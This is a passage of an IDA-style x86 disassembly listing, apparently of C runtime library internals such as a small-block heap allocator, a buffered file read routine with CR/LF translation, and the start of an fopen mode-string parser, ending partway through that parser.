mov esi, ds:off_43CF64
push edi
loc_41ED3D: ; CODE XREF: sub_41ED30+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EDDB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41ED56: ; CODE XREF: sub_41ED30+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41ED97
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call ds:dword_4281C4 ; VirtualFree
test eax, eax
jz short loc_41ED97
or dword ptr [edi], 0FFFFFFFFh
dec ds:dword_4DDF34
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41ED8C
cmp eax, edi
jbe short loc_41ED8F
loc_41ED8C: ; CODE XREF: sub_41ED30+56j
mov [esi+0Ch], edi
loc_41ED8F: ; CODE XREF: sub_41ED30+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EDA4
loc_41ED97: ; CODE XREF: sub_41ED30+2Cj
; sub_41ED30+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41ED56
loc_41EDA4: ; CODE XREF: sub_41ED30+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EDDB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EDDB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EDBB: ; CODE XREF: sub_41ED30+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EDCC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EDBB
loc_41EDCC: ; CODE XREF: sub_41ED30+8Ej
cmp edx, 400h
jnz short loc_41EDDB
push ecx
call sub_41ECDA
pop ecx
loc_41EDDB: ; CODE XREF: sub_41ED30+11j
; sub_41ED30+7Dj ...
cmp esi, ds:off_43CF64
jz short loc_41EDED
cmp [ebp+arg_0], 0
jg loc_41ED3D
loc_41EDED: ; CODE XREF: sub_41ED30+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41ED30 endp
; =============== S U B R O U T I N E =======================================
sub_41EDF2 proc near ; CODE XREF: sub_41B2A1+3Ap
; sub_41B3F2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43CF60
push esi
mov ecx, edx
loc_41EDFE: ; CODE XREF: sub_41EDF2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EE08
cmp eax, [ecx+14h]
jb short loc_41EE10
loc_41EE08: ; CODE XREF: sub_41EDF2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EE45
jmp short loc_41EDFE
; ---------------------------------------------------------------------------
loc_41EE10: ; CODE XREF: sub_41EDF2+14j
test al, 0Fh
jnz short loc_41EE45
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EE45
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EE45: ; CODE XREF: sub_41EDF2+1Aj
; sub_41EDF2+20j ...
xor eax, eax
pop esi
retn
sub_41EDF2 endp
; =============== S U B R O U T I N E =======================================
sub_41EE49 proc near ; CODE XREF: sub_41B2A1+4Dp
; sub_41B3F2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EE8D
inc ds:dword_4DDF34
cmp ds:dword_4DDF34, 20h
jnz short locret_41EE8D
push 10h
call sub_41ED30
pop ecx
locret_41EE8D: ; CODE XREF: sub_41EE49+2Bj
; sub_41EE49+3Aj
retn
sub_41EE49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE8E proc near ; CODE XREF: sub_41B3F2+1ACp
; sub_41B703+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ds:off_43EF80
push edi
loc_41EE9C: ; CODE XREF: sub_41EE8E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41EF47
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41EF01
loc_41EEC7: ; CODE XREF: sub_41EE8E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41EEEA
cmp [edi+4], ebx
jbe short loc_41EEEA
push ebx
push ecx
push eax
call sub_41F096
add esp, 0Ch
test eax, eax
jnz short loc_41EF59
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41EEEA: ; CODE XREF: sub_41EE8E+40j
; sub_41EE8E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41EEC7
jmp short loc_41EF04
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE8E+37j
mov ebx, [ebp+arg_0]
loc_41EF04: ; CODE XREF: sub_41EE8E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41EF4A
loc_41EF17: ; CODE XREF: sub_41EE8E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41EF36
cmp [edi+4], ebx
jbe short loc_41EF36
push ebx
push eax
push [ebp+var_4]
call sub_41F096
add esp, 0Ch
test eax, eax
jnz short loc_41EF59
mov [edi+4], ebx
loc_41EF36: ; CODE XREF: sub_41EE8E+8Dj
; sub_41EE8E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41EF17
jmp short loc_41EF4A
; ---------------------------------------------------------------------------
loc_41EF47: ; CODE XREF: sub_41EE8E+14j
mov ebx, [ebp+arg_0]
loc_41EF4A: ; CODE XREF: sub_41EE8E+87j
; sub_41EE8E+B7j
mov esi, [esi]
cmp esi, ds:off_43EF80
jz short loc_41EF69
jmp loc_41EE9C
; ---------------------------------------------------------------------------
loc_41EF59: ; CODE XREF: sub_41EE8E+54j
; sub_41EE8E+A3j
mov ds:off_43EF80, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F091
; ---------------------------------------------------------------------------
loc_41EF69: ; CODE XREF: sub_41EE8E+C4j
mov eax, offset off_43CF60
mov edi, eax
loc_41EF70: ; CODE XREF: sub_41EE8E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41EF7C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41EF88
loc_41EF7C: ; CODE XREF: sub_41EE8E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F05D
jmp short loc_41EF70
; ---------------------------------------------------------------------------
loc_41EF88: ; CODE XREF: sub_41EE8E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41EFB7
loc_41EFA6: ; CODE XREF: sub_41EE8E+127j
cmp [ebp+var_4], 10h
jge short loc_41EFB7
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41EFA6
loc_41EFB7: ; CODE XREF: sub_41EE8E+116j
; sub_41EE8E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call ds:dword_4281C8 ; VirtualAlloc
cmp eax, esi
jnz loc_41F08F
push 0
push [ebp+var_8]
push esi
call sub_41B780
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F01E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EFF4: ; CODE XREF: sub_41EE8E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EFF4
loc_41F01E: ; CODE XREF: sub_41EE8E+15Ej
mov ds:off_43EF80, edi
lea eax, [edi+2018h]
loc_41F02A: ; CODE XREF: sub_41EE8E+1A8j
cmp ecx, eax
jnb short loc_41F03A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F038
add ecx, 8
jmp short loc_41F02A
; ---------------------------------------------------------------------------
loc_41F038: ; CODE XREF: sub_41EE8E+1A3j
cmp ecx, eax
loc_41F03A: ; CODE XREF: sub_41EE8E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F091
; ---------------------------------------------------------------------------
loc_41F05D: ; CODE XREF: sub_41EE8E+F2j
call sub_41EB96
test eax, eax
jz short loc_41F08F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov ds:off_43EF80, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F091
; ---------------------------------------------------------------------------
loc_41F08F: ; CODE XREF: sub_41EE8E+143j
; sub_41EE8E+1D6j
xor eax, eax
loc_41F091: ; CODE XREF: sub_41EE8E+D6j
; sub_41EE8E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F096 proc near ; CODE XREF: sub_41EE8E+4Ap
; sub_41EE8E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F0DB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F0CA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F0D3
; ---------------------------------------------------------------------------
loc_41F0CA: ; CODE XREF: sub_41F096+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F0D3: ; CODE XREF: sub_41F096+32j
lea eax, [edi+8]
jmp loc_41F1A9
; ---------------------------------------------------------------------------
loc_41F0DB: ; CODE XREF: sub_41F096+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F0E4
mov eax, esi
loc_41F0E4: ; CODE XREF: sub_41F096+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F12E
loc_41F0EB: ; CODE XREF: sub_41F096+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F121
push 1
lea ebx, [eax+1]
pop esi
loc_41F0F7: ; CODE XREF: sub_41F096+68j
cmp byte ptr [ebx], 0
jnz short loc_41F100
inc ebx
inc esi
jmp short loc_41F0F7
; ---------------------------------------------------------------------------
loc_41F100: ; CODE XREF: sub_41F096+64j
cmp esi, edx
jnb short loc_41F152
cmp eax, [ebp+var_4]
jnz short loc_41F10E
mov [ecx+4], esi
jmp short loc_41F11A
; ---------------------------------------------------------------------------
loc_41F10E: ; CODE XREF: sub_41F096+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F1B3
loc_41F11A: ; CODE XREF: sub_41F096+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F126
; ---------------------------------------------------------------------------
loc_41F121: ; CODE XREF: sub_41F096+59j
movzx esi, bl
add eax, esi
loc_41F126: ; CODE XREF: sub_41F096+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F0EB
loc_41F12E: ; CODE XREF: sub_41F096+53j
lea esi, [ecx+8]
loc_41F131: ; CODE XREF: sub_41F096+EBj
; sub_41F096+F2j
cmp esi, edi
jnb short loc_41F1B3
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F1B3
mov al, [esi]
test al, al
jnz short loc_41F183
push 1
lea ebx, [esi+1]
pop eax
loc_41F149: ; CODE XREF: sub_41F096+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F173
inc ebx
inc eax
jmp short loc_41F149
; ---------------------------------------------------------------------------
loc_41F152: ; CODE XREF: sub_41F096+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F163
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F16C
; ---------------------------------------------------------------------------
loc_41F163: ; CODE XREF: sub_41F096+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F16C: ; CODE XREF: sub_41F096+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F1A9
; ---------------------------------------------------------------------------
loc_41F173: ; CODE XREF: sub_41F096+B6j
cmp eax, edx
jnb short loc_41F18A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F1B3
mov esi, ebx
jmp short loc_41F131
; ---------------------------------------------------------------------------
loc_41F183: ; CODE XREF: sub_41F096+ABj
movzx eax, al
add esi, eax
jmp short loc_41F131
; ---------------------------------------------------------------------------
loc_41F18A: ; CODE XREF: sub_41F096+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F19B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F1A4
; ---------------------------------------------------------------------------
loc_41F19B: ; CODE XREF: sub_41F096+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F1A4: ; CODE XREF: sub_41F096+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F1A9: ; CODE XREF: sub_41F096+40j
; sub_41F096+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F1B5
; ---------------------------------------------------------------------------
loc_41F1B3: ; CODE XREF: sub_41F096+7Ej
; sub_41F096+9Dj ...
xor eax, eax
loc_41F1B5: ; CODE XREF: sub_41F096+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F096 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F1BA proc near ; CODE XREF: sub_41B3F2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F1F4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F254
; ---------------------------------------------------------------------------
loc_41F1F4: ; CODE XREF: sub_41F1BA+26j
jnb short loc_41F25B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F25B
lea eax, [ecx+edx]
loc_41F209: ; CODE XREF: sub_41F1BA+59j
cmp eax, esi
jnb short loc_41F217
cmp byte ptr [eax], 0
jnz short loc_41F215
inc eax
jmp short loc_41F209
; ---------------------------------------------------------------------------
loc_41F215: ; CODE XREF: sub_41F1BA+56j
cmp eax, esi
loc_41F217: ; CODE XREF: sub_41F1BA+51j
jnz short loc_41F25B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F24F
cmp esi, eax
jbe short loc_41F24F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F246
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F241
loc_41F23A: ; CODE XREF: sub_41F1BA+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F23A
loc_41F241: ; CODE XREF: sub_41F1BA+7Ej
mov [ebx+4], eax
jmp short loc_41F24F
; ---------------------------------------------------------------------------
loc_41F246: ; CODE XREF: sub_41F1BA+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F24F: ; CODE XREF: sub_41F1BA+68j
; sub_41F1BA+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F254: ; CODE XREF: sub_41F1BA+38j
mov [ebp+var_4], 1
loc_41F25B: ; CODE XREF: sub_41F1BA:loc_41F1F4j
; sub_41F1BA+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F1BA endp
; =============== S U B R O U T I N E =======================================
sub_41F263 proc near ; CODE XREF: sub_41B30A+A9p
; sub_41BD3F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F337
test al, 40h
jnz loc_41F337
test al, 2
jz short loc_41F289
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F337
; ---------------------------------------------------------------------------
loc_41F289: ; CODE XREF: sub_41F263+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F29D
push esi
call sub_423C3A
pop ecx
jmp short loc_41F2A2
; ---------------------------------------------------------------------------
loc_41F29D: ; CODE XREF: sub_41F263+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F2A2: ; CODE XREF: sub_41F263+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F33C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F326
cmp eax, 0FFFFFFFFh
jz short loc_41F326
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F2FB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F2E4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, ds:dword_4DE1E0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F2E9
; ---------------------------------------------------------------------------
loc_41F2E4: ; CODE XREF: sub_41F263+6Bj
mov edi, offset dword_43F860
loc_41F2E9: ; CODE XREF: sub_41F263+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F2FB
or dh, 20h
mov [esi+0Ch], edx
loc_41F2FB: ; CODE XREF: sub_41F263+62j
; sub_41F263+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F318
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F318
test ch, 4
jnz short loc_41F318
mov dword ptr [esi+18h], 1000h
loc_41F318: ; CODE XREF: sub_41F263+9Fj
; sub_41F263+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F326: ; CODE XREF: sub_41F263+55j
; sub_41F263+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F337: ; CODE XREF: sub_41F263+Aj
; sub_41F263+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F263 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F33C proc near ; CODE XREF: sub_41B30A+90p
; sub_41F263+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, ds:dword_4DE2E0
jnb loc_41F519
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DE1E0h[eax*4]
mov eax, ds:dword_4DE1E0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F519
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F3F1
test dl, 2
jnz short loc_41F3F1
test dl, 48h
jz short loc_41F3B1
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F3B1
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F3B1: ; CODE XREF: sub_41F33C+56j
; sub_41F33C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call ds:dword_4280E8 ; ReadFile
test eax, eax
jnz short loc_41F404
call ds:dword_42808C ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F3EC
mov ds:dword_4DDEB4, 9
mov ds:dword_4DDEB8, ecx
jmp loc_41F52A
; ---------------------------------------------------------------------------
loc_41F3EC: ; CODE XREF: sub_41F33C+99j
cmp eax, 6Dh
jnz short loc_41F3F8
loc_41F3F1: ; CODE XREF: sub_41F33C+4Cj
; sub_41F33C+51j
xor eax, eax
jmp loc_41F52D
; ---------------------------------------------------------------------------
loc_41F3F8: ; CODE XREF: sub_41F33C+B3j
push eax
call sub_4205FF
pop ecx
jmp loc_41F52A
; ---------------------------------------------------------------------------
loc_41F404: ; CODE XREF: sub_41F33C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F514
test edx, edx
jz short loc_41F429
cmp byte ptr [edi], 0Ah
jnz short loc_41F429
or al, 4
jmp short loc_41F42B
; ---------------------------------------------------------------------------
loc_41F429: ; CODE XREF: sub_41F33C+E2j
; sub_41F33C+E7j
and al, 0FBh
loc_41F42B: ; CODE XREF: sub_41F33C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F50E
loc_41F443: ; CODE XREF: sub_41F33C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F4FE
cmp al, 0Dh
jz short loc_41F45F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F4F0
; ---------------------------------------------------------------------------
loc_41F45F: ; CODE XREF: sub_41F33C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F47D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F474
add [ebp+arg_8], 2
jmp short loc_41F4D2
; ---------------------------------------------------------------------------
loc_41F474: ; CODE XREF: sub_41F33C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F4F0
; ---------------------------------------------------------------------------
loc_41F47D: ; CODE XREF: sub_41F33C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_4280E8 ; ReadFile
test eax, eax
jnz short loc_41F4A5
call ds:dword_42808C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41F4EC
loc_41F4A5: ; CODE XREF: sub_41F33C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F4EC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F4C7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F4D2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F4F0
; ---------------------------------------------------------------------------
loc_41F4C7: ; CODE XREF: sub_41F33C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F4D7
cmp [ebp+var_1], 0Ah
jnz short loc_41F4D7
loc_41F4D2: ; CODE XREF: sub_41F33C+136j
; sub_41F33C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F4EF
; ---------------------------------------------------------------------------
loc_41F4D7: ; CODE XREF: sub_41F33C+18Ej
; sub_41F33C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422A04
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F4F0
loc_41F4EC: ; CODE XREF: sub_41F33C+167j
; sub_41F33C+16Dj
mov byte ptr [edi], 0Dh
loc_41F4EF: ; CODE XREF: sub_41F33C+199j
inc edi
loc_41F4F0: ; CODE XREF: sub_41F33C+11Ej
; sub_41F33C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F443
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4FE: ; CODE XREF: sub_41F33C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F50E
or al, 2
mov [esi], al
loc_41F50E: ; CODE XREF: sub_41F33C+101j
; sub_41F33C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F514: ; CODE XREF: sub_41F33C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F52D
; ---------------------------------------------------------------------------
loc_41F519: ; CODE XREF: sub_41F33C+12j
; sub_41F33C+39j
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
loc_41F52A: ; CODE XREF: sub_41F33C+ABj
; sub_41F33C+C3j
or eax, 0FFFFFFFFh
loc_41F52D: ; CODE XREF: sub_41F33C+B7j
; sub_41F33C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F33C endp
; =============== S U B R O U T I N E =======================================
sub_41F532 proc near ; CODE XREF: sub_41B3F2+126p
; sub_41B3F2+24Bp ...
arg_0 = dword ptr 4
mov eax, ds:dword_4DDF38
test eax, eax
jz short loc_41F54A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F54A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F54A: ; CODE XREF: sub_41F532+7j
; sub_41F532+12j
xor eax, eax
retn
sub_41F532 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F54D proc near ; CODE XREF: sub_41B692+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ds:dword_4DE0A4
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F586
cmp al, 72h
jz short loc_41F57F
cmp al, 77h
jnz loc_41F69A
mov ecx, 301h
jmp short loc_41F58B
; ---------------------------------------------------------------------------
loc_41F57F: ; CODE XREF: sub_41F54D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F58E
; ---------------------------------------------------------------------------
loc_41F586: ; CODE XREF: sub_41F54D+1Dj
mov ecx, 109h
loc_41F58B: ; CODE XREF: sub_41F54D+30j
or esi, 2
loc_41F58E: ; CODE XREF: sub_41F54D+37j
push 1
pop edx
loc_41F591: ; CODE XREF: sub_41F54D+8Bj
; sub_41F54D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F680
cmp edx, ebx
jz loc_41F680
movsx eax, al
cmp eax, 54h
jg short loc_41F61F
jz short loc_41F60F
sub eax, 2Bh
jz short loc_41F5F9
sub eax, 19h
jz short loc_41F5EF
sub eax, 0Eh
jz short loc_41F5DA
dec eax
jnz loc_41F671
cmp [ebp+var_4], ebx
jnz loc_41F671
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F591
; ---------------------------------------------------------------------------
loc_41F5DA: ; CODE XREF: sub_41F54D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F671
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F591
; ---------------------------------------------------------------------------
loc_41F5EF: ; CODE XREF: sub_41F54D+6Aj
test cl, 40h
jnz short loc_41F671
or ecx, 40h
jmp short loc_41F591
; ---------------------------------------------------------------------------
loc_41F5F9: ; CODE XREF: sub_41F54D+65j
test cl, 2
jnz short loc_41F671
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F591
; ---------------------------------------------------------------------------
loc_41F60F: ; CODE XREF: sub_41F54D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F671
or ecx, eax
jmp loc_41F591
; ---------------------------------------------------------------------------
loc_41F61F: ; CODE XREF: sub_41F54D+5Ej
sub eax, 62h
jz short loc_41F66C
dec eax
jz short loc_41F655
sub eax, 0Bh
jz short loc_41F63E
sub eax, 6
jnz short loc_41F671
test ch, 0C0h
jnz short loc_41F671
